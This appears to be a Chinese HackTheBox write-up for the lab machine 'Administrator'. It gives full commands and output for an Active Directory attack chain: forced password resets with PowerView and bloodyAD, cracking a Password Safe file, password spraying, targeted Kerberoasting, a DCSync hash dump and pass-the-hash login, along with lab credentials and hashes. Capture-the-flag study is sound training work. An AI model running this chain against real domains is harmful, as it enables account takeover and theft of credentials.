HTB:Administrator[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

横向移动A

使用netexec内置的bloodhound模块收集靶机域内信息

​编辑

将数据文件上传至bloodhound分析

查看当前控制用户的可传递控制对象

为olivia用户创建凭证对象

使用Set-DomainUserPassword通过olivia用户凭证对象修改michael用户密码

使用bloodyAD通过michael凭证修改benjamin用户密码

使用ftp通过上述凭证登录靶机FTP服务器

使用pwsafe2john将该文件转换为哈希格式

使用john对该哈希文件进行字典爆破

使用Password Safe通过上述密码打开该数据库文件

使用netexec收集靶机域内用户名单

使用netexec通过上述名单和密码进行密码喷洒

横向移动B

使用BloodHound查看至域管理员最短路径

使用bloodyAD将ethan用户的SPN属性修改为服务账户格式

使用impacket-GetUserSPNs获取ethan用户的ST票据

使用john通过字典爆破该TGS票据

权限提升

使用netexec通过凭证测试能否登录靶机Win-RM服务

使用BloodHound查看ethan用户一级控制对象

使用impacket-secretsdump通过DCSync权限转储域内用户密码哈希

使用impacket-psexec通过administrator哈希密码直接登录靶机


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.42

靶机AD:administrator.htb

靶机DC:dc.administrator.htb

  • 已有凭证

账户:Olivia

密码:ichliebedich


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a administrator.htb -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,                                                          
21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,62491,63695,63700,63711,63722,63758
                                                                                                                                          
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                                          
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,62491,63695,63700,63711,63722,63758

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn administrator.htb

  • 需要重点关注的端口和服务

21端口:FTP服务

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn administrator.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn administrator.htb

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn administrator.htb


横向移动A

使用netexec内置的bloodhound模块收集靶机域内信息

netexec ldap administrator.htb -u 'Olivia' -p 'ichliebedich' --bloodhound -c All --dns-server 10.10.11.42

将数据文件上传至bloodhound分析

查看当前控制用户的可传递控制对象

  • 由图表显示可见,OLIVIA用户可完全控制MICHAEL用户,而MICHAEL用户可修改BENJAMIN用户密码。将该图表中所有图标设置为已控制
为olivia用户创建凭证对象
  • 上传PowerView.ps1脚本文件
upload PowerView.ps1

*Evil-WinRM* PS C:\Users\olivia\Desktop> upload PowerView.ps1
                                        
Info: Uploading /home/kali/Desktop/temp/PowerView.ps1 to C:\Users\olivia\Desktop\PowerView.ps1
                                        
Data: 1027036 bytes of 1027036 bytes copied
                                        
Info: Upload successful!

  • 加载导入该脚本文件
. .\PowerView.ps1
  • 创建凭证对象
$SecPassword = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('administrator\olivia', $SecPassword)
使用Set-DomainUserPassword通过olivia用户凭证对象修改michael用户密码
  • 创建安全密码对象
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  • 通过安全密码对象修改michael用户密码
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
使用bloodyAD通过michael凭证修改benjamin用户密码
bloodyAD -d 'administrator.htb' -u 'michael' -p 'Password123!' --host '10.10.11.42' set password 'benjamin' 'Password123!'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d 'administrator.htb' -u 'michael' -p 'Password123!' --host '10.10.11.42' set password 'benjamin' 'Password123!'
[+] Password changed successfully!

使用ftp通过上述凭证登录靶机FTP服务器

ftp administrator.htb
  • Backup.psafe3文件下载到攻击机本地

使用pwsafe2john将该文件转换为哈希格式
pwsafe2john Backup.psafe3 | tee hash

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# pwsafe2john Backup.psafe3 | tee hash
Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050

使用john对该哈希文件进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt

使用Password Safe通过上述密码打开该数据库文件

  • 将密码逐个复制出来

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw

emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

使用netexec收集靶机域内用户名单

netexec ldap administrator.htb -u 'benjamin' -p 'Password123!' --users | grep -A20 Username | tail -n+2 | awk '{print $5}' | tee names.txt

  • 将上述三条密码写入文件中以便使用

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat << EOF > passwds.txt
heredoc> UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
heredoc> UXLCI5iETUsIBoFVTj8yQFKoHjXmb
heredoc> WwANQWnmJnGV07WQN8bMS7FMAbjNur
heredoc> EOF

使用netexec通过上述名单和密码进行密码喷洒
netexec ldap administrator.htb -u names.txt -p passwds.txt --continue-on-success

  • 在BloodHound中将emily用户标记为已控制

账户:emily

密码:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

  • C:\Users\emily\Desktop目录下找到user.txt文件


横向移动B

使用BloodHound查看至域管理员最短路径

  • 由图表可见,当前emily用户对ethan用户具有GenericWrite权限

使用bloodyAD将ethan用户的SPN属性修改为服务账户格式

bloodyAD -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --host '10.10.11.42' set object ethan servicePrincipalName -v 'x0da6h/x0da6h'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --host '10.10.11.42' set object ethan servicePrincipalName -v 'x0da6h/x0da6h'
[+] ethan's servicePrincipalName has been updated

使用impacket-GetUserSPNs获取ethan用户的ST票据
impacket-GetUserSPNs 'administrator.htb/emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb' -request

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$5f49ef0be2b6972a92c82e1234963f8f$81f519aed5a1067bf4a440646a632ba76c13547f441269e61baeaa1a4a45a279bd657ff9dee2833b038646f5331e9d91e25d01ca5942193e710e42b448469dde617df9670cf675d14583976933bfe8930c399eb10139d48eb1d796032f5fe7faddd046f24c54fc39b930cd7a0950c69cfe08671541b92722b74fbee710c5dcbb076283f61bde7c2a1e86a319961427728ef398ad1b86270aaf17c0e19430d0660d216aa1c599a82531ea00542f880abb85e7a381ab705f1b32919ab294f3d7783ba99e1622662ba8cf0c39b0dcfd5dfbd8558cf15ecdb849a0d5035054eed8515aff22f24c0a0444e2455f1e69936176a5d07aebc20378ee6a93a150af8544106b9678112ee588fc9318041c40f8a32eacc447766bf4349f3af6babc27a91788a1f6b08351f77204214e0eb29af694ebb5951bee9bdf99db9d07caeedd12ffb87e987550807ff2b7291575b90d18c99381f0eee79b80a51a3cee151a2367b49cb9a0ecf667c9cfe93c6b8effa053a0a04fba42c8af94482f437b424be2ea0cc5a7964a2f74e648f50d5fed91d38b4759c2704097b50b84774a2235acea898b1208fe22f761f0aff586f79caec60f00577b3f6831122569d23a99102705d4fe6bee7709a5d066cf4ae08648b70753bb860634f1e373fc957dbc7075c5e0902604cfe8f15fad35d99a3b4bb3e00d56e21d6847601e8a7c6b8a21eefe094b6901cd300f5ec63039b189b254d0bb40ea7ace243c31e73b767c654f26ebeefbff9739125babdfb42444dd30f79b7a7863ea0a121be40bf79cd0aee25e39177c57e920c87974c8444d3386b3440a7135bc25f1ecdd515f320455a29f23e16f66145cad7a10d951a1881d75199d203605cb4f13fac9059732cde7ced8c21fdc1e3becc489262ffdb27e19cb1a3c44e083c8a608875f96a9be319f863e3c43bbfb035b3ea077851b962c05c43cd903371a27466edf39a24c8504b792c146ccd9412d11e8597a1d188cd4e57d11a3524872ab2a9ce28eab637af7993b240ccf90375d4e93d498f5bd69f7118e2fb3f572d3457bfcdd9fddf8b9ab2783064f0480aca39884e156905f0a1d244e87a238a21081e1ff7d33159a0e1bbca2002b4603938d872c665112110d2abe8d22e7f1fd8571720cc19ff43b1fc466fd1427835cb38fe408b454b708a2883f027a2bd6abef4534296f23af5a2c59f340df2e9e2c19742a6d84d591739ef88bddb26192a125a3fb6abe22bf2c929aaab6faa7abff3cb7680818b25d314ae7ae6b22c97913d4b3c5c4861b9a9394bdd17aeb9ac76ca34e46e3401841cad6683ddd7b0435c8a17dac610e37ed82d6b03c75b280465dae5ca72abf10647ad3ee8c93d2a4aeee7e71e1e84562befdd270f0c7f1dc3d46607dc12760abaf120fe38a98617df6a69fc2b59279b7dc66e3454c8d5ecb6151f6d147fe1ed46f2deeb4cd329a5dfe164223d36770e4f9f8dbcc58c924b79d1a466d733e3b73cfd3e5eae40be05ec39345fac361edddea45781c498bdc3b8dc9f78144
  • 将该哈希值存入文件以便爆破
echo '$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$5f49ef0be2b6972a92c82e1234963f8f$81f519aed5a1067bf4a440646a632ba76c13547f441269e61baeaa1a4a45a279bd657ff9dee2833b038646f5331e9d91e25d01ca5942193e710e42b448469dde617df9670cf675d14583976933bfe8930c399eb10139d48eb1d796032f5fe7faddd046f24c54fc39b930cd7a0950c69cfe08671541b92722b74fbee710c5dcbb076283f61bde7c2a1e86a319961427728ef398ad1b86270aaf17c0e19430d0660d216aa1c599a82531ea00542f880abb85e7a381ab705f1b32919ab294f3d7783ba99e1622662ba8cf0c39b0dcfd5dfbd8558cf15ecdb849a0d5035054eed8515aff22f24c0a0444e2455f1e69936176a5d07aebc20378ee6a93a150af8544106b9678112ee588fc9318041c40f8a32eacc447766bf4349f3af6babc27a91788a1f6b08351f77204214e0eb29af694ebb5951bee9bdf99db9d07caeedd12ffb87e987550807ff2b7291575b90d18c99381f0eee79b80a51a3cee151a2367b49cb9a0ecf667c9cfe93c6b8effa053a0a04fba42c8af94482f437b424be2ea0cc5a7964a2f74e648f50d5fed91d38b4759c2704097b50b84774a2235acea898b1208fe22f761f0aff586f79caec60f00577b3f6831122569d23a99102705d4fe6bee7709a5d066cf4ae08648b70753bb860634f1e373fc957dbc7075c5e0902604cfe8f15fad35d99a3b4bb3e00d56e21d6847601e8a7c6b8a21eefe094b6901cd300f5ec63039b189b254d0bb40ea7ace243c31e73b767c654f26ebeefbff9739125babdfb42444dd30f79b7a7863ea0a121be40bf79cd0aee25e39177c57e920c87974c8444d3386b3440a7135bc25f1ecdd515f320455a29f23e16f66145cad7a10d951a1881d75199d203605cb4f13fac9059732cde7ced8c21fdc1e3becc489262ffdb27e19cb1a3c44e083c8a608875f96a9be319f863e3c43bbfb035b3ea077851b962c05c43cd903371a27466edf39a24c8504b792c146ccd9412d11e8597a1d188cd4e57d11a3524872ab2a9ce28eab637af7993b240ccf90375d4e93d498f5bd69f7118e2fb3f572d3457bfcdd9fddf8b9ab2783064f0480aca39884e156905f0a1d244e87a238a21081e1ff7d33159a0e1bbca2002b4603938d872c665112110d2abe8d22e7f1fd8571720cc19ff43b1fc466fd1427835cb38fe408b454b708a2883f027a2bd6abef4534296f23af5a2c59f340df2e9e2c19742a6d84d591739ef88bddb26192a125a3fb6abe22bf2c929aaab6faa7abff3cb7680818b25d314ae7ae6b22c97913d4b3c5c4861b9a9394bdd17aeb9ac76ca34e46e3401841cad6683ddd7b0435c8a17dac610e37ed82d6b03c75b280465dae5ca72abf10647ad3ee8c93d2a4aeee7e71e1e84562befdd270f0c7f1dc3d46607dc12760abaf120fe38a98617df6a69fc2b59279b7dc66e3454c8d5ecb6151f6d147fe1ed46f2deeb4cd329a5dfe164223d36770e4f9f8dbcc58c924b79d1a466d733e3b73cfd3e5eae40be05ec39345fac361edddea45781c498bdc3b8dc9f78144' > hash

使用john通过字典爆破该TGS票据

john hash --wordlist=../dictionary/rockyou.txt --format=krb5tgs

账户:ethan

密码:limpbizkit

  • 在BloodHound中将ethan用户标记为已控制

权限提升

使用netexec通过凭证测试能否登录靶机Win-RM服务

netexec winrm administrator.htb -u ethan -p 'limpbizkit'

  • 可见ethan用户无法登录Win-RM

使用BloodHound查看ethan用户一级控制对象

  • 再次查看至域管理员最短路径

使用impacket-secretsdump通过DCSync权限转储域内用户密码哈希

impacket-secretsdump 'administrator.htb/ethan:limpbizkit@10.10.11.42'

使用impacket-psexec通过administrator哈希密码直接登录靶机
impacket-psexec administrator.htb/administrator@10.10.11.42 -hashes aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e

  • C:\Users\Administrator\Desktop目录下找到root.txt文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/962387.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vscode+WSL2(ubuntu22.04)+pytorch+conda+cuda+cudnn安装系列

最近在家过年闲的没事&#xff0c;于是研究起深度学习开发工具链的配置和安装&#xff0c;之前欲与天公试比高&#xff0c;尝试在win上用vscodecuda11.6vs2019的cl编译器搭建cuda c编程环境&#xff0c;最后惨败&#xff0c;沦为笑柄&#xff0c;痛定思痛&#xff0c;这次直接和…

亚博microros小车-原生ubuntu支持系列:17 gmapping

前置依赖 先看下亚博官网的介绍 Gmapping简介 gmapping只适用于单帧二维激光点数小于1440的点&#xff0c;如果单帧激光点数大于1440&#xff0c;那么就会出【[mapping-4] process has died】 这样的问题。 Gmapping是基于滤波SLAM框架的常用开源SLAM算法。 Gmapping基于RBp…

FreeRTOS从入门到精通 第十六章(任务通知)

参考教程&#xff1a;【正点原子】手把手教你学FreeRTOS实时系统_哔哩哔哩_bilibili 一、任务通知简介 1、概述 &#xff08;1&#xff09;任务通知顾名思义是用来通知任务的&#xff0c;任务控制块中的结构体成员变量ulNotifiedValue就是这个通知值。 &#xff08;2&#…

数据结构选讲 (更新中)

参考 smWCDay7 数据结构选讲2 by yyc 。 可能会补充的&#xff1a; AT_cf17_final_j TreeMST 的 F2 Boruvka算法 目录 AT_cf17_final_j Tree MSTP5280 [ZJOI2019] 线段树 AT_cf17_final_j Tree MST link 题意 给定一棵 n n n 个点的树&#xff0c;点有点权 w i w_i wi​&am…

【01】共识机制

BTF共识 拜占庭将军问题 拜占庭将军问题是一个共识问题 起源 Leslie Lamport在论文《The Byzantine Generals Problem》提出拜占庭将军问题。 核心描述 军中可能有叛徒&#xff0c;却要保证进攻一致&#xff0c;由此引申到计算领域&#xff0c;发展成了一种容错理论。随着…

春晚舞台上的人形机器人:科技与文化的奇妙融合

文章目录 人形机器人Unitree H1的“硬核”实力传统文化与现代科技的创新融合网友热议与文化共鸣未来展望&#xff1a;科技与文化的更多可能结语 2025 年央视春晚的舞台&#xff0c;无疑是全球华人目光聚焦的焦点。就在这个盛大的舞台上&#xff0c;一场名为《秧BOT》的创意融合…

.NET Core缓存

目录 缓存的概念 客户端响应缓存 cache-control 服务器端响应缓存 内存缓存&#xff08;In-memory cache&#xff09; 用法 GetOrCreateAsync 缓存过期时间策略 缓存的过期时间 解决方法&#xff1a; 两种过期时间策略&#xff1a; 绝对过期时间 滑动过期时间 两…

如何从客观角度批判性阅读分析博客

此文仅以个人博客为例&#xff0c;大量阅读朋友反馈给我的交流让我得知他们所理解我的博客所表达的意思并非我所想表达的&#xff0c;差异或大或小&#xff0c;因人而异。 观点与事实 只有从客观角度反复批判性阅读和分析&#xff0c;才能逐渐清晰观点和事实。 观点不等于事实…

【力扣】49.字母异位词分组

AC截图 题目 思路 由于互为字母异位词的两个字符串包含的字母相同&#xff0c;因此对两个字符串分别进行排序之后得到的字符串一定是相同的&#xff0c;故可以将排序之后的字符串作为哈希表的键。 可以遍历strs&#xff0c;将其中每一个str排序&#xff0c;然后用unodered_ma…

【4Day创客实践入门教程】Day4 迈向高手之路——进一步学习!

Day4 迈向高手之路——进一步学习&#xff01; 目录 Day4 迈向高手之路——进一步学习&#xff01;更多的开发板外壳制作 Day0 创想启程——课程与项目预览Day1 工具箱构建——开发环境的构建Day2 探秘微控制器——单片机与MicroPython初步Day3 实战演练——桌面迷你番茄钟Day4…

什么是线性化PDF?

线性化PDF是一种特殊的PDF文件组织方式。 总体而言&#xff0c;PDF是一种极为优雅且设计精良的格式。PDF由大量PDF对象构成&#xff0c;这些对象用于创建页面。相关信息存储在一棵二叉树中&#xff0c;该二叉树同时记录文件中每个对象的位置。因此&#xff0c;打开文件时只需加…

向下调整算法(详解)c++

算法流程&#xff1a; 与⽗结点的权值作⽐较&#xff0c;如果⽐它⼤&#xff0c;就与⽗亲交换&#xff1b; 交换完之后&#xff0c;重复 1 操作&#xff0c;直到⽐⽗亲⼩&#xff0c;或者换到根节点的位置 大家可能会有点疑惑&#xff0c;这个是大根堆&#xff0c;22是怎么跑到…

unity学习25:用 transform 进行旋转和移动,简单的太阳地球月亮模型,以及父子级关系

目录 备注内容 1游戏物体的父子级关系 1.1 父子物体 1.2 坐标关系 1.3 父子物体实际是用 每个gameobject的tranform来关联的 2 获取gameObject的静态数据 2.1 具体命令 2.2 具体代码 2.3 输出结果 3 获取gameObject 的方向 3.1 游戏里默认的3个方向 3.2 获取方向代…

C基础算法与实现

前言 通过业务侧输入需求,使用代码完成。 1.偶数立方和 编写函数求1~100中奇数的平方与偶数的立方的和 1.1代码实现结果 1.2源码示例 #include <stdio.h>// 计算1到100中奇数的平方与偶数的立方的和 int calculateSum() {int sum 0;// 遍历1到100之间的所有数字for (…

基于SSM实现的乡村振兴文化平台系统功能实现十八

一、前言介绍&#xff1a; 1.1 项目摘要 农耕文明是广大群众在几千年的农业生产生活中智慧的结晶&#xff0c;不仅是乡土文化的核心和精髓&#xff0c;还是中华文明的起源和基因。因此&#xff0c;传承和发扬优秀乡村文化&#xff0c;是传承农耕文明的必然要求。 文化振兴是乡…

如何让一个用户具备创建审批流程的权限

最近碰到一个问题&#xff0c;两个sandbox&#xff0c;照理用户的权限应该是一样的&#xff0c;结果开发环境里面我可以左右的做各种管理工作&#xff0c;但是使用change set上传后&#xff0c;另一个环境的同一个用户&#xff0c;没有相对于的权限&#xff0c;权限不足。 当时…

实现B-树

一、概述 1.历史 B树&#xff08;B-Tree&#xff09;结构是一种高效存储和查询数据的方法&#xff0c;它的历史可以追溯到1970年代早期。B树的发明人Rudolf Bayer和Edward M. McCreight分别发表了一篇论文介绍了B树。这篇论文是1972年发表于《ACM Transactions on Database S…

解锁维特比算法:探寻复杂系统的最优解密码

引言 在复杂的技术世界中&#xff0c;维特比算法以其独特的魅力和广泛的应用&#xff0c;成为通信、自然语言处理、生物信息学等领域的关键技术。今天&#xff0c;让我们一同深入探索维特比算法的奥秘。 一、维特比算法的诞生背景 维特比算法由安德鲁・维特比在 1967 年提出…

CPU 100% 出现系统中断 怎么解决

CPU 100% 出现系统中断 怎么解决 电脑开机时会掉帧&#xff0c;切换到桌面时就会卡顿&#xff0c;然后打开任务管理器就会看到系统中断的cpu占用率达到100%&#xff0c;过一段时间再打开还是会有显示100%的占用率&#xff0c;这个问题怎么解决&#xff1f; 文章目录 CPU 100% …

Python 梯度下降法(五):Adam Optimize

文章目录 Python 梯度下降法&#xff08;五&#xff09;&#xff1a;Adam Optimize一、数学原理1.1 介绍1.2 符号说明1.3 实现流程 二、代码实现2.1 函数代码2.2 总代码2.3 遇到的问题2.4 算法优化 三、优缺点3.1 优点3.2 缺点 Python 梯度下降法&#xff08;五&#xff09;&am…